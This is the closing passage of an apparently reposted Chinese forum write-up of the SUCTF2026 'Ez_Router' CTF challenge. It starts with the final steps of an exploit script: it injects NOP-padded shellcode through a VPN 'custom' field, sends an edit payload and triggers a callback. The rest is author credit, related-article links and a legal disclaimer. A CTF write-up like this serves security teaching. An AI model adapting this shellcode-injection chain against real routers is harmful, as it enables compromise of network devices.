print(client.set_vpn(name="1", proto="openvpn", server="2", user="3", password="4"*0x20, cert=b"\x00\xe9\xf2\x00\x00\x00", custom=shellcode.ljust(0x7eb,b"\x90")+b"\x00"))
&nbsp; &nbsp; log.info("Step 4: Triggering Edit_VPN_Custom...")
&nbsp; &nbsp; payload =&nbsp;b"\x21\x5c"
print(client.edit_vpn(payload))
&nbsp; &nbsp; log.info("Step 5: Applying VPN (Trigger Callback)...")
print(client.apply_vpn())

看雪ID:zer00ne

https://bbs.kanxue.com/user-home-1024538.htm

*本文为看雪论坛精华文章,由 zer00ne 原创,转载请注明来自看雪社区

看雪·2026 KCTF 防守方征题中

往期推荐

APP frida 检测绕过详解:定位 JNI 动态注册 Native 函数,Hook 核心检测函数

手游逆向全流程复盘:从 IL2CPP Dump 到 TCP 握手协议还原

Android 内核加载未签名驱动的一次实践

Polaris-Obfuscator中BogusControlFlow简要分析 反混淆

软件ollvm混淆登录参数分析

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 zer00ne zer00ne《SUCTF2026 Ez_Router》

SUCTF2026Ez_Router 网络安全文章

SUCTF2026Ez_Router

文章总结: 本文详细分析了SUCTF2026Ez_Router的解题过程,主要包括前端越权和二进制分析两部分。首先,通过抓包发现登录请求中的auth参数,将其值
评论:0   参与:  0